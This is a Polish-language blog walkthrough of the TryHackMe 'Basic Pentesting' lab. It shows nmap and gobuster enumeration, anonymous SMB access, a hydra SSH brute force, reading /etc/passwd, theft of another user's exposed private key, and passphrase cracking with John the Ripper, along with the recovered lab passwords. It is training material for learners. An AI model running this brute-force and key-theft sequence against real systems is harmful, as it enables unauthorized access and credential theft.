Wstęp
Jest to pierwszy wpis poświęcony zadaniu, które będę robił na platformie tryhackme.com. Platformę polecam wszystkim tym, którzy chcą stawiać pierwsze kroki w dziedzinie CyberSecurity. Zadanie jak sama nazwa wskazuje, będzie związane z podstawami pentestingu 😉
Wszystkie polecenia podane w opisie rozwiązania, wykonałem z poziomu Linuxa (konkretnie z dystrybucji Kali).
Dostęp do platformy jest banalnie prosty (wystarczy założyć konto, sciągnąć plik konifguracyjny .ovpn i za pomocą openvpn stworzyć tunel do sieci wystawionej przez tryhackme):
$ sudo openvpn TryHackMe.ovpn
Należy zweryfikować czy połączenie zostało utworzone:
$ ip a
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.9.130.139/16 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::c0ed:2239:ef1a:83dc/64 scope link stable-privacy
valid_lft forever preferred_lft forever
Jak widać na powyższym obrazku, połączenie zostało nawiązane.
Opis
In these set of tasks you'll learn the following: *brute forcing *hash cracking *service enumeration *Linux Enumeration
Rozwiązanie
#1 Deploy the machine and connect to our network
Klikamy na przycisk deploy:
W celu aktywacji maszyny. Po aktywacji maszyna automatycznie dostanie adres IP (w moim przypadku jest to 10.10.120.240).
#2 Find the services exposed by the machine
Do rozwiązania tego zadania skorzystałem ze znanego skanera portów nmap:
sudo nmap -A -sV -T5 -Pn -v -oN nmap/inital.nmap 10.10.120.240
Wyjaśnienie przełączników których użyłem znajdziecie w moich pierwszych wpisach: Resolute czy Cache.
Wynik który otrzymałem:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13?
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http-proxy
| fingerprint-strings:
| ms-sql-s, oracle-tns:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 2243
| Date: Wed, 14 Oct 2020 08:15:08 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
Widzimy kilka otwartych portów. W kontekście dalszych zadań swoją uwagę skupię na porcie 80 (http), 445 (smb) oraz 22 (ssh).
#3 What is the name of the hidden directory on the web server(enter name without /)?
Aby znaleźć ukryty folder na web serwerze skorzystałem z narzędzia do tego przeznaczonego: gobuster oraz słownika common.txt:
gobuster dir -u http://10.10.120.240 -w /usr/share/wordlists/dirb/common.txt -s 200,301,302
Wynik:
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.120.240
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/14 10:31:12 Starting gobuster
===============================================================
/development (Status: 301)
/index.html (Status: 200)
===============================================================
2020/10/14 10:31:29 Finished
===============================================================
Odpowiedzią na to pytanie jest ścieżka: /development.
#4 User brute-forcing to find the username & password
#5 What is the username?
Kolejne dwa pytania skupiają się na poszukiwaniu nazwy użytkownika oraz jego hasła. Zanim jednak przeszedłem do próby ataku siłowego, sprawdziłem port 445 (smb). W tym celu użyłem narzędzia smbmap:
smbmap -H 10.10.120.240
[+] Guest session IP: 10.10.120.240:445 Name: 10.10.120.240 Disk Permissions Comment
---- ----------- -------
Anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba Server 4.3.11-Ubuntu)
Okazało się że tzw. anonimowy login jest możliwy oraz że mamy dostęp do dysku Anonymous z prawem odczytu. Nawiązałem zatem połączenie z udostępnionym zasobem używając narzędzia smbclient, następnie pobrałem plik staff.txt na komputer lokalny:
smbclient \\\\10.10.120.240\\Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 19:31:20 2018
.. D 0 Thu Apr 19 19:13:06 2018
staff.txt N 173 Thu Apr 19 19:29:55 2018
14318640 blocks of size 1024. 11094412 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (1,2 KiloBytes/sec) (average 1,2 KiloBytes/sec)
smb: \> exit
Odczytałem pobrany plik:
$ cat staff.txt Announcement to staff: PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!) -Kay
Z tekstu można można wywnioskować, że mamy dwóch potencjalnych użytkowników: Jan oraz Kay. Stworzyłem plik tekstowy users.txt z tymi użytkownikami.
$ cat users.txt Jan Kay jan kay
#6 What is the password?
#7 What service do you use to access the server(answer in abbreviation in all caps)?
Następnym zadaniem jest znalezienie hasła dla któregoś z tych dwóch użytkowników. Atak słownikowy przeprowadzę narzędzie hydra. Serwis który będę atakował to ssh (jest to równocześnie odpowiedź na pytanie 7 😛 ). Użyty słownik to: rockyou.txt.
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.120.240 ssh -f -V -t 4
Wynik:
[22][ssh] host: 10.10.120.240 login: jan password: armando
Atak słownikowy zakończył się sukcesem!
#8 Enumerate the machine to find any vectors for privilege escalation
#9 What is the name of the other user you found(all lower case)?
Kolejne zadania skupiają się typowo na eskalacji uprawnień.
Zazwyczaj przy eskalacji uprawnień w systemach Linux używam skryptu LinEnum.sh, który pokazuje mi możliwe wektory ataku. Jednakże w tym przypadku to trochę jak strzelanie do muchy z armaty 😉
Zalogowałem się na maszynie poprzez ssh:
ssh jan@10.10.120.240
Następnie zajrzałem do pliku /etc/passwd, który zawiera nazwy użytkowników na maszynie. Wynik dla przejrzystości ograniczyłem do użytkowników którzy mają dostęp do powłoki bash:
jan@basic2:~$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash kay:x:1000:1000:Kay,,,:/home/kay:/bin/bash jan:x:1001:1001::/home/jan:/bin/bash
Zauważyłem że kolejnym użytkownikiem jest znany już wcześniej kay.
#10 If you have found another user, what can you do with this information?
Zajrzałem do folderu domowego użytkownika kay:
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
W folderze znajduje się plik pass.bak do którego nie mamy dostępu. O dziwo, mamy dostęp do ukrytego folderu .ssh :0 . Zajrzyjmy do niego, prawdopodobnie znajdziemy tam klucz prywatny użytkownika kay (mam taką nadzieję 😉 ).
jan@basic2:/home/kay/.ssh$ ls -la
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
Bingo!!! Mamy dostęp do klucza publicznego i prywatnego. Przekopiowałem zatem zawartość pliku id_rsa (klucz prywatny) na lokalną maszynę.
Nadałem uprawnienia tylko do odczytu:
chmod 400 id_rsa
Następnie użyłem go przy logowaniu się przez ssh na użytkownika kay:
$ ssh kay@10.10.120.240 -i id_rsa load pubkey "id_rsa": invalid format Enter passphrase for key 'id_rsa':
Hmm….. Wygląda na to, że aby użyć klucza prywatnego trzeba znać passphrase. Hasło to kontroluje dostęp do tego klucza. Aby odzyskać to hasło należy użyć skryptu pythonowego ssh2john a następnie skrakować uzyskany hash za pomocą narzędzia John The Ripper.
Zlokalizowałem skrypt na maszynie:
$ find / -type f -name ssh2john.py 2>/dev/null /usr/share/john/ssh2john.py
Następnie użyłem go i zapisałem hash do pliku:
python ssh2john.py id_rsa > hash
Łamanie skrótu:
$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-10-14 11:58) 0.1960g/s 2812Kp/s 2812Kc/s 2812KC/sa6_123..*7¡Vamos!
Session completed
Hash został złamany. Wykorzystajmy odzysakne hasło przy logowaniu:
#11 What is the final password you obtain?
Wykorzystajmy odzysakne hasło przy logowaniu:
$ ssh kay@10.10.120.240 -i id_rsa
load pubkey "id_rsa": invalid format
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
W taki oto sposób odczytałem finalne hasło i tym samym zakończyłem całą ścieżkę Basic Pentesting.
Podsumowanie:
W moim odczuciu platforma TryHackMe skupia się bardziej na poszczególnych tematykach związanych z CyberSecurity anieżeli konkurencyjna platforma HackTheBox. Rekomenduję ją szczególnie tym, ktorzy zaczynają swoją przygodę z szerokopojętym CyberSecurity 😉 . Mnogość hacktivities ktore można tam napotkać stanowi dodatkowy plus platformy, m.in. ścieżki poświęcone tematyce (Networking, Web,Windows,Forensics, Reversing, Crypto, Linux, Misc).